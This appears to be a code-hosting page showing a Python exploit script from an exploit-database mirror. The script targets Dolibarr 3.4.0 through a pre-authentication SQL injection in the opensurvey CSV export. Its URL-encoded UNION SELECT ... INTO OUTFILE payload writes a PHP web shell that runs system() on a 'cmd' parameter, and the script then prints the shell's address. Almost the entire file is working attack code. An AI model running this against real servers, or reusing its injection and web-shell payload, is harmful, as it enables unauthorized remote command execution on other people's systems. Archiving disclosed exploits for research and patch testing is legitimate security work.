PageRenderTime 43ms CodeModel.GetById 16ms RepoModel.GetById 0ms app.codeStats 0ms

/exploits/php/webapps/28971.py

https://bitbucket.org/DinoRex99/exploit-database
Python | 56 lines | 39 code | 3 blank | 14 comment | 0 complexity | 5614e2b6b3c3b5d331474db461ad83b4 MD5 | raw file
Possible License(s): GPL-2.0
  1. # Exploit Title: Dolibarr 3.4.0 SQLi
  2. # Date: 10/7/2013
  3. # Exploit author: drone (@dronesec)
  4. # More information: http://forelsec.blogspot.com/2013/10/dolibarr-340-multiple-vulnerabilities.html
  5. # Vendor homepage: http://www.dolibarr.org/
  6. # Software link:
  7. # Version: 3.4.0
  8. # Fixed in: 3.4.1
  9. # Tested on: Ubuntu 12.04 (apparmor disabled)
  10. import urllib2
  11. import string
  12. import random
  13. from argparse import ArgumentParser
  14. """ Preauth web shell via SQL injection
  15. Dolibarr 3.4.0
  16. """
  17. def run(options):
  18. """ run exploit
  19. """
  20. print '[!] Dropping web shell on %s...' % options.ip
  21. shell = ''.join(random.choice(string.ascii_lowercase+string.digits) for x in range(5))
  22. sqli = 'http://{0}{1}/htdocs/opensurvey/public/exportcsv.php?sondage='\
  23. .format(options.ip, options.rootp)
  24. # ' UNION SELECT '<?php system($_GET['cmd'])?>,2,3,[..]13 INTO OUTFILE 'yourshell';-- -
  25. exploit = '\'%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20\'<?php%20system($_GET[\\\'cmd\\\'])?>\''\
  26. ',2,3,4,5,6,7,8,9,10,11,12,13%20INTO%20OUTFILE%20\'{0}/{1}.php\';%20--%20-%20'\
  27. .format(options.path, shell)
  28. try:
  29. urllib2.urlopen(sqli + exploit)
  30. print '[!] Shell dropped. http://%s%s/documents/%s.php?cmd=ls' % \
  31. (options.ip, options.rootp, shell)
  32. except Exception, e:
  33. print '[-] %s' % e
  34. def parse():
  35. """ Parse cli
  36. """
  37. parser = ArgumentParser()
  38. parser.add_argument('-i', help='Server address', action='store', dest='ip', required=True)
  39. parser.add_argument('-p', help='Path to Dolibarr install (/dolibarr)', action='store',
  40. default='/dolibarr', dest='rootp')
  41. parser.add_argument('-w', help='Path to drop shell (/var/www/dolibarr/documents)',
  42. action='store', default='/var/www/dolibarr/documents', dest='path')
  43. options = parser.parse_args()
  44. options.path = options.path if options.path[-1] != '/' else options.path[:-1]
  45. options.rootp = options.rootp if options.path[-1] != '/' else options.path[:-1]
  46. return options
  47. if __name__ == "__main__":
  48. run(parse())